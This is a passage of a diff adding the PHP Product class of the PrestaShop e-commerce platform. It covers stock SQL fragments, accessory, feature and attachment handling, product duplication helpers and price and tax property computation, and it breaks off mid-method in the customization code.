'.pSQL($product_alias).'.id_product'; + + if (!is_null($product_attribute)) + { + if (!Combination::isFeatureActive()) + $sql .= ' AND stock.id_product_attribute = 0'; + elseif (is_numeric($product_attribute)) + $sql .= ' AND stock.id_product_attribute = '.$product_attribute; + elseif (is_string($product_attribute)) + $sql .= ' AND stock.id_product_attribute = IFNULL(`'.bqSQL($product_attribute).'`.id_product_attribute, 0)'; + } + + $sql .= StockAvailable::addSqlShopRestriction(null, $id_shop, 'stock').' )'; + + return $sql; + } + + /** + * @deprecated since 1.5.0 + * + * It's not possible to use this method with new stockManager and stockAvailable features + * Now this method do nothing + * + * @see StockManager if you want to manage real stock + * @see StockAvailable if you want to manage available quantities for sale on your shop(s) + * + * @param array $product Array with ordered product (quantity, id_product_attribute if applicable) + * @return mixed Query result + */ + public static function updateQuantity() + { + Tools::displayAsDeprecated(); + + return false; + } + + /** + * @deprecated since 1.5.0 + * + * It's not possible to use this method with new stockManager and stockAvailable features + * Now this method do nothing + * + * @see StockManager if you want to manage real stock + * @see StockAvailable if you want to manage available quantities for sale on your shop(s) + * + */ + public static function reinjectQuantities() + { + Tools::displayAsDeprecated(); + + return false; + } + + public static function isAvailableWhenOutOfStock($out_of_stock) + { + // @TODO 1.5.0 Update of STOCK_MANAGEMENT & ORDER_OUT_OF_STOCK + $return = (int)$out_of_stock == 2 ? (int)Configuration::get('PS_ORDER_OUT_OF_STOCK') : (int)$out_of_stock; + return !Configuration::get('PS_STOCK_MANAGEMENT') ? true : $return; + } + + /** + * Check product availability + * + * @param integer $qty Quantity desired + * @return boolean True if product is available with this quantity + */ + public function checkQty($qty) + { + if (Pack::isPack((int)$this->id) && !Pack::isInStock((int)$this->id)) + return false; + + if ($this->isAvailableWhenOutOfStock(StockAvailable::outOfStock($this->id))) + return true; + + if (isset($this->id_product_attribute)) + $id_product_attribute = $this->id_product_attribute; + else + $id_product_attribute = 0; + + return ($qty <= StockAvailable::getQuantityAvailableByProduct($this->id, $id_product_attribute)); + } + + /** + * Check if there is no default attribute and create it if not + */ + public function checkDefaultAttributes() + { + if (!$this->id) + return false; + + if (Db::getInstance()->getValue('SELECT COUNT(*) + FROM `'._DB_PREFIX_.'product_attribute` pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE product_attribute_shop.`default_on` = 1 + AND pa.`id_product` = '.(int)$this->id) > 1) + Db::getInstance()->execute('UPDATE '._DB_PREFIX_.'product_attribute_shop product_attribute_shop, '._DB_PREFIX_.'product_attribute pa + SET product_attribute_shop.default_on=0, pa.default_on = 0 + WHERE product_attribute_shop.id_product_attribute=pa.id_product_attribute AND pa.id_product='.(int)$this->id + .Shop::addSqlRestriction(false, 'product_attribute_shop')); + + + $row = Db::getInstance()->getRow(' + SELECT pa.id_product + FROM `'._DB_PREFIX_.'product_attribute` pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE product_attribute_shop.`default_on` = 1 + AND pa.`id_product` = '.(int)$this->id + ); + if ($row) + return true; + + $mini = Db::getInstance()->getRow(' + SELECT MIN(pa.id_product_attribute) as `id_attr` + FROM `'._DB_PREFIX_.'product_attribute` pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE `id_product` = '.(int)$this->id + ); + if (!$mini) + return false; + + if (!ObjectModel::updateMultishopTable('Combination', array('default_on' => 1), 'a.id_product_attribute = '.(int)$mini['id_attr'])) + return false; + return true; + } + + /** + * Get all available attribute groups + * + * @param integer $id_lang Language id + * @return array Attribute groups + */ + public function getAttributesGroups($id_lang) + { + if (!Combination::isFeatureActive()) + return array(); + $sql = 'SELECT ag.`id_attribute_group`, ag.`is_color_group`, agl.`name` AS group_name, agl.`public_name` AS public_group_name, + a.`id_attribute`, al.`name` AS attribute_name, a.`color` AS attribute_color, pa.`id_product_attribute`, + IFNULL(stock.quantity, 0) as quantity, product_attribute_shop.`price`, product_attribute_shop.`ecotax`, pa.`weight`, + product_attribute_shop.`default_on`, pa.`reference`, product_attribute_shop.`unit_price_impact`, + pa.`minimal_quantity`, pa.`available_date`, ag.`group_type` + FROM `'._DB_PREFIX_.'product_attribute` pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + '.Product::sqlStock('pa', 'pa').' + LEFT JOIN `'._DB_PREFIX_.'product_attribute_combination` pac ON pac.`id_product_attribute` = pa.`id_product_attribute` + LEFT JOIN `'._DB_PREFIX_.'attribute` a ON a.`id_attribute` = pac.`id_attribute` + LEFT JOIN `'._DB_PREFIX_.'attribute_group` ag ON ag.`id_attribute_group` = a.`id_attribute_group` + LEFT JOIN `'._DB_PREFIX_.'attribute_lang` al ON a.`id_attribute` = al.`id_attribute` + LEFT JOIN `'._DB_PREFIX_.'attribute_group_lang` agl ON ag.`id_attribute_group` = agl.`id_attribute_group` + '.Shop::addSqlAssociation('attribute', 'a').' + WHERE pa.`id_product` = '.(int)$this->id.' + AND al.`id_lang` = '.(int)$id_lang.' + AND agl.`id_lang` = '.(int)$id_lang.' + GROUP BY id_attribute_group, id_product_attribute + ORDER BY ag.`position` ASC, a.`position` ASC, agl.`name` ASC'; + return Db::getInstance()->executeS($sql); + } + + /** + * Delete product accessories + * + * @return mixed Deletion result + */ + public function deleteAccessories() + { + return Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'accessory` WHERE `id_product_1` = '.(int)$this->id); + } + + /** + * Delete product from other products accessories + * + * @return mixed Deletion result + */ + public function deleteFromAccessories() + { + return Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'accessory` WHERE `id_product_2` = '.(int)$this->id); + } + + /** + * Get product accessories (only names) + * + * @param integer $id_lang Language id + * @param integer $id_product Product id + * @return array Product accessories + */ + public static function getAccessoriesLight($id_lang, $id_product, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $sql = 'SELECT p.`id_product`, p.`reference`, pl.`name` + FROM `'._DB_PREFIX_.'accessory` + LEFT JOIN `'._DB_PREFIX_.'product` p ON (p.`id_product`= `id_product_2`) + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON ( + p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').' + ) + WHERE `id_product_1` = '.(int)$id_product; + + return Db::getInstance()->executeS($sql); + } + + /** + * Get product accessories + * + * @param integer $id_lang Language id + * @return array Product accessories + */ + public function getAccessories($id_lang, $active = true, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $sql = 'SELECT p.*, product_shop.*, stock.out_of_stock, IFNULL(stock.quantity, 0) as quantity, pl.`description`, pl.`description_short`, pl.`link_rewrite`, + pl.`meta_description`, pl.`meta_keywords`, pl.`meta_title`, pl.`name`, + MAX(image_shop.`id_image`) id_image, il.`legend`, m.`name` as manufacturer_name, cl.`name` AS category_default, + DATEDIFF( + p.`date_add`, + DATE_SUB( + NOW(), + INTERVAL '.(Validate::isUnsignedInt(Configuration::get('PS_NB_DAYS_NEW_PRODUCT')) ? Configuration::get('PS_NB_DAYS_NEW_PRODUCT') : 20).' DAY + ) + ) > 0 AS new + FROM `'._DB_PREFIX_.'accessory` + LEFT JOIN `'._DB_PREFIX_.'product` p ON p.`id_product` = `id_product_2` + '.Shop::addSqlAssociation('product', 'p').' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON ( + p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl').' + ) + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl ON ( + product_shop.`id_category_default` = cl.`id_category` + AND cl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('cl').' + ) + LEFT JOIN `'._DB_PREFIX_.'image` i ON (i.`id_product` = p.`id_product`)'. + Shop::addSqlAssociation('image', 'i', false, 'image_shop.cover=1').' + LEFT JOIN `'._DB_PREFIX_.'image_lang` il ON (i.`id_image` = il.`id_image` AND il.`id_lang` = '.(int)$id_lang.') + LEFT JOIN `'._DB_PREFIX_.'manufacturer` m ON (p.`id_manufacturer`= m.`id_manufacturer`) + '.Product::sqlStock('p', 0).' + WHERE `id_product_1` = '.(int)$this->id. + ($active ? ' AND product_shop.`active` = 1' : '').' + GROUP BY product_shop.id_product'; + if (!$result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + return false; + foreach ($result as &$row) + $row['id_product_attribute'] = Product::getDefaultAttribute((int)$row['id_product']); + return $this->getProductsProperties($id_lang, $result); + } + + public static function getAccessoryById($accessory_id) + { + return Db::getInstance()->getRow('SELECT `id_product`, `name` FROM `'._DB_PREFIX_.'product_lang` WHERE `id_product` = '.(int)$accessory_id); + } + + /** + * Link accessories with product + * + * @param array $accessories_id Accessories ids + */ + public function changeAccessories($accessories_id) + { + foreach ($accessories_id as $id_product_2) + Db::getInstance()->insert('accessory', array( + 'id_product_1' => (int)$this->id, + 'id_product_2' => (int)$id_product_2 + )); + } + + /** + * Add new feature to product + */ + public function addFeaturesCustomToDB($id_value, $lang, $cust) + { + $row = array('id_feature_value' => (int)$id_value, 'id_lang' => (int)$lang, 'value' => pSQL($cust)); + return Db::getInstance()->insert('feature_value_lang', $row); + } + + public function addFeaturesToDB($id_feature, $id_value, $cust = 0) + { + if ($cust) + { + $row = array('id_feature' => (int)$id_feature, 'custom' => 1); + Db::getInstance()->insert('feature_value', $row); + $id_value = Db::getInstance()->Insert_ID(); + } + $row = array('id_feature' => (int)$id_feature, 'id_product' => (int)$this->id, 'id_feature_value' => (int)$id_value); + Db::getInstance()->insert('feature_product', $row); + SpecificPriceRule::applyAllRules(array((int)$this->id)); + if ($id_value) + return ($id_value); + } + + public static function addFeatureProductImport($id_product, $id_feature, $id_feature_value) + { + return Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'feature_product` (`id_feature`, `id_product`, `id_feature_value`) + VALUES ('.(int)$id_feature.', '.(int)$id_product.', '.(int)$id_feature_value.') + ON DUPLICATE KEY UPDATE `id_feature_value` = '.(int)$id_feature_value + ); + } + + /** + * Select all features for the object + * + * @return array Array with feature product's data + */ + public function getFeatures() + { + return Product::getFeaturesStatic((int)$this->id); + } + + public static function getFeaturesStatic($id_product) + { + if (!Feature::isFeatureActive()) + return array(); + if (!array_key_exists($id_product, self::$_cacheFeatures)) + self::$_cacheFeatures[$id_product] = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT id_feature, id_product, id_feature_value + FROM `'._DB_PREFIX_.'feature_product` + WHERE `id_product` = '.(int)$id_product + ); + return self::$_cacheFeatures[$id_product]; + } + + public static function cacheProductsFeatures($product_ids) + { + if (!Feature::isFeatureActive()) + return; + + $product_implode = array(); + foreach ($product_ids as $id_product) + if ((int)$id_product && !array_key_exists($id_product, self::$_cacheFeatures)) + $product_implode[] = (int)$id_product; + if (!count($product_implode)) + return; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT id_feature, id_product, id_feature_value + FROM `'._DB_PREFIX_.'feature_product` + WHERE `id_product` IN ('.implode($product_implode, ',').')'); + foreach ($result as $row) + { + if (!array_key_exists($row['id_product'], self::$_cacheFeatures)) + self::$_cacheFeatures[$row['id_product']] = array(); + self::$_cacheFeatures[$row['id_product']][] = $row; + } + } + + public static function cacheFrontFeatures($product_ids, $id_lang) + { + if (!Feature::isFeatureActive()) + return; + + $product_implode = array(); + foreach ($product_ids as $id_product) + if ((int)$id_product && !array_key_exists($id_product.'-'.$id_lang, self::$_cacheFeatures)) + $product_implode[] = (int)$id_product; + if (!count($product_implode)) + return; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT id_product, name, value, pf.id_feature + FROM '._DB_PREFIX_.'feature_product pf + LEFT JOIN '._DB_PREFIX_.'feature_lang fl ON (fl.id_feature = pf.id_feature AND fl.id_lang = '.(int)$id_lang.') + LEFT JOIN '._DB_PREFIX_.'feature_value_lang fvl ON (fvl.id_feature_value = pf.id_feature_value AND fvl.id_lang = '.(int)$id_lang.') + LEFT JOIN '._DB_PREFIX_.'feature f ON (f.id_feature = pf.id_feature) + WHERE `id_product` IN ('.implode($product_implode, ',').') + ORDER BY f.position ASC'); + + foreach ($result as $row) + { + if (!array_key_exists($row['id_product'].'-'.$id_lang, self::$_frontFeaturesCache)) + self::$_frontFeaturesCache[$row['id_product'].'-'.$id_lang] = array(); + if (!isset(self::$_frontFeaturesCache[$row['id_product'].'-'.$id_lang][$row['id_feature']])) + self::$_frontFeaturesCache[$row['id_product'].'-'.$id_lang][$row['id_feature']] = $row; + } + } + + /** + * Admin panel product search + * + * @param integer $id_lang Language id + * @param string $query Search query + * @return array Matching products + */ + public static function searchByName($id_lang, $query, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + + $sql = new DbQuery(); + $sql->select('p.`id_product`, pl.`name`, p.`active`, p.`reference`, m.`name` AS manufacturer_name, stock.`quantity`, product_shop.advanced_stock_management, p.`customizable`'); + $sql->from('category_product', 'cp'); + $sql->leftJoin('product', 'p', 'p.`id_product` = cp.`id_product`'); + $sql->join(Shop::addSqlAssociation('product', 'p')); + $sql->leftJoin('product_lang', 'pl', ' + p.`id_product` = pl.`id_product` + AND pl.`id_lang` = '.(int)$id_lang.Shop::addSqlRestrictionOnLang('pl') + ); + $sql->leftJoin('manufacturer', 'm', 'm.`id_manufacturer` = p.`id_manufacturer`'); + + $where = 'pl.`name` LIKE \'%'.pSQL($query).'%\' + OR p.`reference` LIKE \'%'.pSQL($query).'%\' + OR p.`supplier_reference` LIKE \'%'.pSQL($query).'%\' + OR p.`id_product` IN (SELECT id_product FROM '._DB_PREFIX_.'product_supplier sp WHERE `product_supplier_reference` LIKE \'%'.pSQL($query).'%\')'; + $sql->groupBy('`id_product`'); + $sql->orderBy('pl.`name` ASC'); + + if (Combination::isFeatureActive()) + { + $sql->leftJoin('product_attribute', 'pa', 'pa.`id_product` = p.`id_product`'); + $sql->join(Shop::addSqlAssociation('product_attribute', 'pa', false)); + $where .= ' OR pa.`reference` LIKE \'%'.pSQL($query).'%\''; + } + $sql->where($where); + $sql->join(Product::sqlStock('p', 'pa', false, $context->shop)); + + $result = Db::getInstance()->executeS($sql); + + if (!$result) + return false; + + $results_array = array(); + foreach ($result as $row) + { + $row['price_tax_incl'] = Product::getPriceStatic($row['id_product'], true, null, 2); + $row['price_tax_excl'] = Product::getPriceStatic($row['id_product'], false, null, 2); + $results_array[] = $row; + } + return $results_array; + } + + /** + * Duplicate attributes when duplicating a product + * + * @param integer $id_product_old Old product id + * @param integer $id_product_new New product id + */ + public static function duplicateAttributes($id_product_old, $id_product_new) + { + $return = true; + $combination_images = array(); + + $result = Db::getInstance()->executeS(' + SELECT pa.*, product_attribute_shop.* + FROM `'._DB_PREFIX_.'product_attribute` pa + '.Shop::addSqlAssociation('product_attribute', 'pa').' + WHERE pa.`id_product` = '.(int)$id_product_old + ); + + foreach ($result as $row) + { + $id_product_attribute_old = (int)$row['id_product_attribute']; + $result2 = Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'product_attribute_combination` + WHERE `id_product_attribute` = '.$id_product_attribute_old + ); + + $row['id_product'] = $id_product_new; + unset($row['id_product_attribute']); + $combination = new Combination(); + foreach ($row as $k => $v) + $combination->$k = $v; + $return &= $combination->add(); + + $id_product_attribute_new = (int)$combination->id; + if ($result_images = Product::_getAttributeImageAssociations($id_product_attribute_old)) + { + $combination_images['old'][$id_product_attribute_old] = $result_images; + $combination_images['new'][$id_product_attribute_new] = $result_images; + } + foreach ($result2 as $row2) + { + $row2['id_product_attribute'] = $id_product_attribute_new; + $return &= Db::getInstance()->insert('product_attribute_combination', $row2); + } + } + return !$return ? false : $combination_images; + } + + /** + * Get product attribute image associations + * @param integer $id_product_attribute + * @return array + */ + public static function _getAttributeImageAssociations($id_product_attribute) + { + $combination_images = array(); + $data = Db::getInstance()->executeS(' + SELECT `id_image` + FROM `'._DB_PREFIX_.'product_attribute_image` + WHERE `id_product_attribute` = '.(int)$id_product_attribute); + foreach ($data as $row) + $combination_images[] = (int)$row['id_image']; + return $combination_images; + } + + public static function duplicateAccessories($id_product_old, $id_product_new) + { + $return = true; + + $result = Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'accessory` + WHERE `id_product_1` = '.(int)$id_product_old); + foreach ($result as $row) + { + $data = array( + 'id_product_1' => (int)$id_product_new, + 'id_product_2' => (int)$row['id_product_2']); + $return &= Db::getInstance()->insert('accessory', $data); + } + return $return; + } + + public static function duplicateTags($id_product_old, $id_product_new) + { + $tags = Db::getInstance()->executeS('SELECT `id_tag` FROM `'._DB_PREFIX_.'product_tag` WHERE `id_product` = '.(int)$id_product_old); + if (!Db::getInstance()->NumRows()) + return true; + + $data = array(); + foreach ($tags as $tag) + $data[] = array( + 'id_product' => (int)$id_product_new, + 'id_tag' => (int)$tag['id_tag'], + ); + + return Db::getInstance()->insert('product_tag', $data); + } + + public static function duplicateDownload($id_product_old, $id_product_new) + { + $sql = 'SELECT `display_filename`, `filename`, `date_add`, `date_expiration`, `nb_days_accessible`, `nb_downloadable`, `active`, `is_shareable` + FROM `'._DB_PREFIX_.'product_download` + WHERE `id_product` = '.(int)$id_product_old; + $results = Db::getInstance()->executeS($sql); + if (!$results) + return true; + + $data = array(); + $res = true; + foreach ($results as $row) + { + $new_filename = ProductDownload::getNewFilename(); + copy(_PS_DOWNLOAD_DIR_.$row['filename'], _PS_DOWNLOAD_DIR_.$new_filename); + + $data[] = array( + 'id_product' => (int)$id_product_new, + 'display_filename' => pSQL($row['display_filename']), + 'filename' => pSQL($new_filename), + 'date_expiration' => pSQL($row['date_expiration']), + 'nb_days_accessible' => (int)$row['nb_days_accessible'], + 'nb_downloadable' => (int)$row['nb_downloadable'], + 'active' => (int)$row['active'], + 'is_shareable' => (int)$row['is_shareable'], + 'date_add' => date('Y-m-d H:i:s') + ); + $res &= Db::getInstance()->insert('product_download', $data); + } + + return $res; + } + + public static function duplicateAttachments($id_product_old, $id_product_new) + { + // Get all ids attachments of the old product + $sql = 'SELECT `id_attachment` FROM `'._DB_PREFIX_.'product_attachment` WHERE `id_product` = '.(int)$id_product_old; + $results = Db::getInstance()->executeS($sql); + + if (!$results) + return true; + + $data = array(); + + // Prepare data of table product_attachment + foreach ($results as $row) + $data[] = array( + 'id_product' => (int)$id_product_new, + 'id_attachment' => (int)$row['id_attachment'] + ); + + // Duplicate product attachement + $res = Db::getInstance()->insert('product_attachment', $data); + Product::updateCacheAttachment((int)$id_product_new); + return $res; + } + + /** + * Duplicate features when duplicating a product + * + * @param integer $id_product_old Old product id + * @param integer $id_product_old New product id + */ + public static function duplicateFeatures($id_product_old, $id_product_new) + { + $return = true; + + $result = Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'feature_product` + WHERE `id_product` = '.(int)$id_product_old); + foreach ($result as $row) + { + $result2 = Db::getInstance()->getRow(' + SELECT * + FROM `'._DB_PREFIX_.'feature_value` + WHERE `id_feature_value` = '.(int)$row['id_feature_value']); + // Custom feature value, need to duplicate it + if ($result2['custom']) + { + $old_id_feature_value = $result2['id_feature_value']; + unset($result2['id_feature_value']); + $return &= Db::getInstance()->insert('feature_value', $result2); + $max_fv = Db::getInstance()->getRow(' + SELECT MAX(`id_feature_value`) AS nb + FROM `'._DB_PREFIX_.'feature_value`'); + $new_id_feature_value = $max_fv['nb']; + $languages = Language::getLanguages(); + foreach ($languages as $language) + { + $result3 = Db::getInstance()->getRow(' + SELECT * + FROM `'._DB_PREFIX_.'feature_value_lang` + WHERE `id_feature_value` = '.(int)$old_id_feature_value.' + AND `id_lang` = '.(int)$language['id_lang']); + + if ($result3) + { + $result3['id_feature_value'] = $new_id_feature_value; + $return &= Db::getInstance()->insert('feature_value_lang', $result3); + } + } + $row['id_feature_value'] = $new_id_feature_value; + } + $row['id_product'] = $id_product_new; + $return &= Db::getInstance()->insert('feature_product', $row); + } + return $return; + } + + protected static function _getCustomizationFieldsNLabels($product_id) + { + if (!Customization::isFeatureActive()) + return false; + + $customizations = array(); + if (($customizations['fields'] = Db::getInstance()->executeS(' + SELECT `id_customization_field`, `type`, `required` + FROM `'._DB_PREFIX_.'customization_field` + WHERE `id_product` = '.(int)$product_id.' + ORDER BY `id_customization_field`')) === false) + return false; + + if (empty($customizations['fields'])) + return array(); + + $customization_field_ids = array(); + foreach ($customizations['fields'] as $customization_field) + $customization_field_ids[] = (int)$customization_field['id_customization_field']; + + if (($customization_labels = Db::getInstance()->executeS(' + SELECT `id_customization_field`, `id_lang`, `name` + FROM `'._DB_PREFIX_.'customization_field_lang` + WHERE `id_customization_field` IN ('.implode(', ', $customization_field_ids).') + ORDER BY `id_customization_field`')) === false) + return false; + + foreach ($customization_labels as $customization_label) + $customizations['labels'][$customization_label['id_customization_field']][] = $customization_label; + + return $customizations; + } + + public static function duplicateSpecificPrices($old_product_id, $product_id) + { + foreach (SpecificPrice::getIdsByProductId((int)$old_product_id) as $data) + { + $specific_price = new SpecificPrice((int)$data['id_specific_price']); + if (!$specific_price->duplicate((int)$product_id)) + return false; + } + return true; + } + + public static function duplicateCustomizationFields($old_product_id, $product_id) + { + // If customization is not activated, return success + if (!Customization::isFeatureActive()) + return true; + if (($customizations = Product::_getCustomizationFieldsNLabels($old_product_id)) === false) + return false; + if (empty($customizations)) + return true; + foreach ($customizations['fields'] as $customization_field) + { + /* The new datas concern the new product */ + $customization_field['id_product'] = (int)$product_id; + $old_customization_field_id = (int)$customization_field['id_customization_field']; + + unset($customization_field['id_customization_field']); + + if (!Db::getInstance()->insert('customization_field', $customization_field) + || !$customization_field_id = Db::getInstance()->Insert_ID()) + return false; + + if (isset($customizations['labels'])) + { + $query = 'INSERT INTO `'._DB_PREFIX_.'customization_field_lang` (`id_customization_field`, `id_lang`, `name`) VALUES '; + $data = array(); + foreach ($customizations['labels'][$old_customization_field_id] as $customization_label) + { + $data = array( + 'id_customization_field' => (int)$customization_field_id, + 'id_lang' => (int)$customization_label['id_lang'], + 'name' => pSQL($customization_label['name']), + ); + + if (!Db::getInstance()->insert('customization_field_lang', $data)) + return false; + } + } + } + return true; + } + + /** + * Get the link of the product page of this product + */ + public function getLink(Context $context = null) + { + if (!$context) + $context = Context::getContext(); + return $context->link->getProductLink($this); + } + + public function getTags($id_lang) + { + if (!$this->isFullyLoaded && is_null($this->tags)) + $this->tags = Tag::getProductTags($this->id); + + if (!($this->tags && key_exists($id_lang, $this->tags))) + return ''; + + $result = ''; + foreach ($this->tags[$id_lang] as $tag_name) + $result .= $tag_name.', '; + + return rtrim($result, ', '); + } + + public static function defineProductImage($row, $id_lang) + { + if (isset($row['id_image'])) + if ($row['id_image']) + return $row['id_product'].'-'.$row['id_image']; + + return Language::getIsoById((int)$id_lang).'-default'; + } + + public static function getProductProperties($id_lang, $row, Context $context = null) + { + if (!$row['id_product']) + return false; + + if ($context == null) + $context = Context::getContext(); + + // Product::getDefaultAttribute is only called if id_product_attribute is missing from the SQL query at the origin of it: + // consider adding it in order to avoid unnecessary queries + $row['allow_oosp'] = Product::isAvailableWhenOutOfStock($row['out_of_stock']); + if (Combination::isFeatureActive() && (!isset($row['id_product_attribute']) || !$row['id_product_attribute']) + && ((isset($row['cache_default_attribute']) && ($ipa_default = $row['cache_default_attribute']) !== null) + || ($ipa_default = Product::getDefaultAttribute($row['id_product'], !$row['allow_oosp'])))) + $row['id_product_attribute'] = $ipa_default; + if (!Combination::isFeatureActive() || !isset($row['id_product_attribute'])) + $row['id_product_attribute'] = 0; + + // Tax + $usetax = Tax::excludeTaxeOption(); + + $cache_key = $row['id_product'].'-'.$row['id_product_attribute'].'-'.$id_lang.'-'.(int)$usetax; + if (isset($row['id_product_pack'])) + $cache_key .= '-pack'.$row['id_product_pack']; + + if (isset(self::$producPropertiesCache[$cache_key])) + return array_merge($row, self::$producPropertiesCache[$cache_key]); + + // Datas + $row['category'] = Category::getLinkRewrite((int)$row['id_category_default'], (int)$id_lang); + $row['link'] = $context->link->getProductLink((int)$row['id_product'], $row['link_rewrite'], $row['category'], $row['ean13']); + + $row['attribute_price'] = 0; + if (isset($row['id_product_attribute']) && $row['id_product_attribute']) + $row['attribute_price'] = (float)Product::getProductAttributePrice($row['id_product_attribute']); + + $row['price_tax_exc'] = Product::getPriceStatic( + (int)$row['id_product'], + false, + ((isset($row['id_product_attribute']) && !empty($row['id_product_attribute'])) ? (int)$row['id_product_attribute'] : null), + (self::$_taxCalculationMethod == PS_TAX_EXC ? 2 : 6) + ); + + if (self::$_taxCalculationMethod == PS_TAX_EXC) + { + $row['price_tax_exc'] = Tools::ps_round($row['price_tax_exc'], 2); + $row['price'] = Product::getPriceStatic( + (int)$row['id_product'], + true, + ((isset($row['id_product_attribute']) && !empty($row['id_product_attribute'])) ? (int)$row['id_product_attribute'] : null), + 6 + ); + $row['price_without_reduction'] = Product::getPriceStatic( + (int)$row['id_product'], + false, + ((isset($row['id_product_attribute']) && !empty($row['id_product_attribute'])) ? (int)$row['id_product_attribute'] : null), + 2, + null, + false, + false + ); + } + else + { + $row['price'] = Tools::ps_round( + Product::getPriceStatic( + (int)$row['id_product'], + true, + ((isset($row['id_product_attribute']) && !empty($row['id_product_attribute'])) ? (int)$row['id_product_attribute'] : null), + 2 + ), + 2 + ); + + $row['price_without_reduction'] = Product::getPriceStatic( + (int)$row['id_product'], + true, + ((isset($row['id_product_attribute']) && !empty($row['id_product_attribute'])) ? (int)$row['id_product_attribute'] : null), + 6, + null, + false, + false + ); + } + + $row['reduction'] = Product::getPriceStatic( + (int)$row['id_product'], + (bool)$usetax, + (int)$row['id_product_attribute'], + 6, + null, + true, + true, + 1, + true, + null, + null, + null, + $specific_prices + ); + + $row['specific_prices'] = $specific_prices; + + $row['quantity'] = Product::getQuantity( + (int)$row['id_product'], + 0, + isset($row['cache_is_pack']) ? $row['cache_is_pack'] : null + ); + + if ($row['id_product_attribute']) + { + $row['quantity_all_versions'] = $row['quantity']; + $row['quantity'] = Product::getQuantity( + (int)$row['id_product'], + $row['id_product_attribute'], + isset($row['cache_is_pack']) ? $row['cache_is_pack'] : null + ); + } + + $row['id_image'] = Product::defineProductImage($row, $id_lang); + $row['features'] = Product::getFrontFeaturesStatic((int)$id_lang, $row['id_product']); + + $row['attachments'] = array(); + if (!isset($row['cache_has_attachments']) || $row['cache_has_attachments']) + $row['attachments'] = Product::getAttachmentsStatic((int)$id_lang, $row['id_product']); + + $row['virtual'] = ((!isset($row['is_virtual']) || $row['is_virtual']) ? 1 : 0); + + // Pack management + $row['pack'] = (!isset($row['cache_is_pack']) ? Pack::isPack($row['id_product']) : (int)$row['cache_is_pack']); + $row['packItems'] = $row['pack'] ? Pack::getItemTable($row['id_product'], $id_lang) : array(); + $row['nopackprice'] = $row['pack'] ? Pack::noPackPrice($row['id_product']) : 0; + if ($row['pack'] && !Pack::isInStock($row['id_product'])) + $row['quantity'] = 0; + + $row = Product::getTaxesInformations($row, $context); + + self::$producPropertiesCache[$cache_key] = $row; + return self::$producPropertiesCache[$cache_key]; + } + + public static function getTaxesInformations($row, Context $context = null) + { + static $address = null; + + if ($context === null) + $context = Context::getContext(); + if ($address === null) + $address = new Address(); + + $address->id_country = (int)$context->country->id; + $address->id_state = 0; + $address->postcode = 0; + + $tax_manager = TaxManagerFactory::getManager($address, Product::getIdTaxRulesGroupByIdProduct((int)$row['id_product'], $context)); + $row['rate'] = $tax_manager->getTaxCalculator()->getTotalRate(); + $row['tax_name'] = $tax_manager->getTaxCalculator()->getTaxesName(); + + return $row; + } + + public static function getProductsProperties($id_lang, $query_result) + { + $results_array = array(); + + if (is_array($query_result)) + foreach ($query_result as $row) + if ($row2 = Product::getProductProperties($id_lang, $row)) + $results_array[] = $row2; + + return $results_array; + } + + /* + * Select all features for a given language + * + * @param $id_lang Language id + * @return array Array with feature's data + */ + public static function getFrontFeaturesStatic($id_lang, $id_product) + { + if (!Feature::isFeatureActive()) + return array(); + if (!array_key_exists($id_product.'-'.$id_lang, self::$_frontFeaturesCache)) + { + self::$_frontFeaturesCache[$id_product.'-'.$id_lang] = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT name, value, pf.id_feature + FROM '._DB_PREFIX_.'feature_product pf + LEFT JOIN '._DB_PREFIX_.'feature_lang fl ON (fl.id_feature = pf.id_feature AND fl.id_lang = '.(int)$id_lang.') + LEFT JOIN '._DB_PREFIX_.'feature_value_lang fvl ON (fvl.id_feature_value = pf.id_feature_value AND fvl.id_lang = '.(int)$id_lang.') + LEFT JOIN '._DB_PREFIX_.'feature f ON (f.id_feature = pf.id_feature AND fl.id_lang = '.(int)$id_lang.') + WHERE pf.id_product = '.(int)$id_product.' + ORDER BY f.position ASC' + ); + } + return self::$_frontFeaturesCache[$id_product.'-'.$id_lang]; + } + + public function getFrontFeatures($id_lang) + { + return Product::getFrontFeaturesStatic($id_lang, $this->id); + } + + public static function getAttachmentsStatic($id_lang, $id_product) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM '._DB_PREFIX_.'product_attachment pa + LEFT JOIN '._DB_PREFIX_.'attachment a ON a.id_attachment = pa.id_attachment + LEFT JOIN '._DB_PREFIX_.'attachment_lang al ON (a.id_attachment = al.id_attachment AND al.id_lang = '.(int)$id_lang.') + WHERE pa.id_product = '.(int)$id_product); + } + + public function getAttachments($id_lang) + { + return Product::getAttachmentsStatic($id_lang, $this->id); + } + + /* + ** Customization management + */ + + public static function getAllCustomizedDatas($id_cart, $id_lang = null, $only_in_cart = true) + { + if (!Customization::isFeatureActive()) + return false; + + // No need to query if there isn't any real cart! + if (!$id_cart) + return false; + if (!$id_lang) + $id_lang = Context::getContext()->language->id; + + if 